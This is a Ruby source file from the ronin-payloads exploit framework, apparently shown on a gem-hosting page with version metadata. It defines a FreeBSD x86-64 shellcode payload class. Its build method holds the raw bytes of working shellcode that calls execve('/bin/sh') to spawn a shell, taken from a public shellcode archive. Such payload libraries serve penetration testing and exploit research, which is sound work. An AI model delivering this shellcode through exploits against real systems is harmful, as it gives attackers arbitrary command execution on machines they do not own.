Sha256: 2258d1ec748210e7a28e18f4ec404769368f3ad81fee84e3147125ff4dcd1ab3
Contents?: true
Size: 1.9 KB
Versions: 5
Compression:
Stored size: 1.9 KB
Contents
# frozen_string_literal: true
#
# ronin-payloads - A Ruby micro-framework for writing and running exploit
# payloads.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-payloads is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-payloads is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
#
require 'ronin/payloads/shellcode/exec_shell_payload'
module Ronin
module Payloads
module Shellcode
module FreeBSD
module X86_64
#
# FreeBSD x86-64 shellcode that calls `execve()` with `/bin/sh`.
#
class ExecShell < ExecShellPayload
register 'shellcode/freebsd/x86_64/exec_shell'
arch :x86_64
os :freebsd
author 'Gitsnik'
summary 'FreeBSD x86-64 execve() shellcode'
description <<~DESC
FreeBSD x86-64 shellcode that calls execve() with "/bin/sh".
DESC
references [
"https://shell-storm.org/shellcode/files/shellcode-866.html"
]
#
# Builds the shellcode.
#
def build
@payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
"\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
end
end
end
end
end
end
end
Version data entries
5 entries across 5 versions & 1 rubygems